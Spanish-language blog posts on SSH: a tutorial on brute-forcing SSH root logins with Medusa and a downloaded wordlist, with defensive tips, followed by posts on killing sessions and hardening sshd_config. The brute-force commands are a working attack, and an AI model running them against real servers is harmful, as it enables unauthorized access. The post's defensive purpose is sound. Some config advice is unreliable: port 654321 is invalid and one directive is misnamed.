Gorgona o Medusa ?? - Force Brute Attack

Hace poco leía varias noticias en internet sobre ataques de fuerza bruta SSH, así que me puse a leer un poco mas sobre las técnicas y formas sobre como se ejecutan estos ataques, y me topé con Medusa, una aplicación que sirve justo para este tipo de ataques, además por su sencillez en su uso, bueno, veamos su instalación sobre Fedora 13 i686 (para ser más detallista, en mi laptop) El sgt. How To es realizado con fines EDUCATIVOS, el cual trata de explicar como funcionan estos ataques y como defenderse de ellos, el autor no se hace responsable por daños a terceros
1.- Realizar: yum search medusa
2.- Si no obtenemos respuesta positiva, es porque falta un repositorio, los que tengo yo tengo son: epel y rpmfusion
3.- Ahora ejecutaremos: yum -y install medusa
4.- Una vez instalado procedemos a descargar una "lista/diccionario" para poder ejecutar el ataque aquí tienen una de ejemplo: http://membres.multimania.fr/keysking/outils/mil-dic.txt (en google existen varias)
5.- Con nuestra lista, y medusa, procedemos a realizar nuestro "ataque"
6.- Atacante: ip - 10.10.0.40, victima: ip - 192.168.1.90 (servidor linux con SSH )
7.- Ejecutamos: medusa -h 192.168.1.90 -u root -P /tmp/mil-dic.txt -M ssh
8.- Lo que acontinuación vendrá, será, que la aplicación probará una serie de posibles combinaciones y dependiendo de la loongitud de la misma, será el tiempo de espera.
9.- Al final, podremos obtener un resultado similar: [ssh] Host 192.168.1.90 User:root Password: tuxit0
Bien, ahora conocemos como se realiza este tipo de ataques, pero, como los evitamos, aquí algunos concejos para defendernos:
1.- Cambiar el puerto de SSH, por default es 22, usen otro, no sé, 1234 por ejm.
2.- No usar "PermitLoginRoot YES" cambien a NO, esto evitará que el usuario root se logee por ssh
3.- Usen adecuadamente las reglas de iptables, para filtrar el puerto que usen para SSH. 4.- Recomendación personal: usen un Bastion Host o una VPN para poder ingresar a sus servidores locales.
5.- Existen aplicaciones como Fail2ban, que nos ayudan ante este tipo de situaciones asi como Denyhost, son una excelente combinacion para evitar situciones de este tipo. Al final, la maxima seguridad, la da uno mismo revisando constantemente los logs, las reglas del firewall, los updates a las aplicaciones de nuestros servidores.
Espero les sirva la información, y recuerden, "no hagan a otros, lo que no nos gustaría que nos hagan..." Sigue Leyendo...

Cerrando Conexion SSH

Generalmente dejamos conexiones SSH abiertas cuando entramos a nuestro server desde otros equipos en la red, o vemos que alguien ha dejado un login no autorizado, y como todo buen SysAdmin, debemos estar al tanto de la seguridad de la red, bueno, supongamos que tenemos el siguiente escenario:

1.- Ejecutamos en la consola "w" para ver las conexiones on line:

[root@pucca]# w
10:37:03 up 1 day, 2:54, 4 users, load average: 1,00, 1,00, 1,00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/1 10.10.12.90 08:40 0.00s 0.12s 0.00s w
root pts/2 10.11.232.19 06:38 1:53m 0.02s 0.00s bash
root pts/3 10.11.142.137 08:48 3.00s 53.62s 0.01s bash
root pts/4 10.10.12.90 09:26 1:10m 0.02s 0.02s -bash

2.- Si la conexion a cerrar es la ip 10.11.232.19, ejecutamos lo siguiente:

[root@pucca]#pkill -9 -t pts/2

Listo!! con eso matamos la conexion SSH.
Espero que les sea de utilidad .... Sigue Leyendo...

Configurando SSH ...

Mucho de nosotros conocemos SSH, y las ventajas que tiene a la hora de implementarlo en la administración remota para servidores, pero, es realmente seguro ??, pues, bien, aqui algunas cosillas que nos ayudarán a darle un poco más de seguridad.
Empecemos:

En CentOS : /etc/ssh/sshd_config
En FreeBSD: /etc/ssh/sshd_config

Para CentOS (y afines)
* Por defecto #Port 22 esta activado, escribir uno diferente por ejm.
Port 654321 (sin #)
* Para limitar las conexiones solo desde nuestra red local:
ListenAddress 192.168.1.254
* Para logearse con un usuario y de alli a saltar a root:
PermitRootLogin no
* Restringir el acceso por usuarios e ips
AllowUsers tonyx@192.168.2.23 chicho@192.168.1.3 mati@10.2.35.3

Para *BSD
* Generalmente el logeo por ssh a root, no esta permitido, si queremos
cambiarlo modificamos:
PermitRootLogin no a yes
* Generalmente se suele agregar un usuario al grupo WHEEL, para que pueda
saltar a root y es lo que se aconseja:
pw user mod admin -G wheel (asumiendo que el usuario admin, ya esta en el sistema)

Los demás valores se pueden cambiar según lo mencionado para CentOS. No se olviden de reiniciar el servicio SSH ... :D

Espero que les sea de utilidad ... saludos


P.D me olvidaba, luego de cambiar el puerto, verán que si ejecutan:
               ssh user@ip_server, les sale:
     ssh: connect to host ip_server port 22: Connection refused 
Como cambiaron de puerto es normal el mensaje, para conectarse
deben de ejecutar:
ssh -p 654321 admin@ip_server

Sigue Leyendo...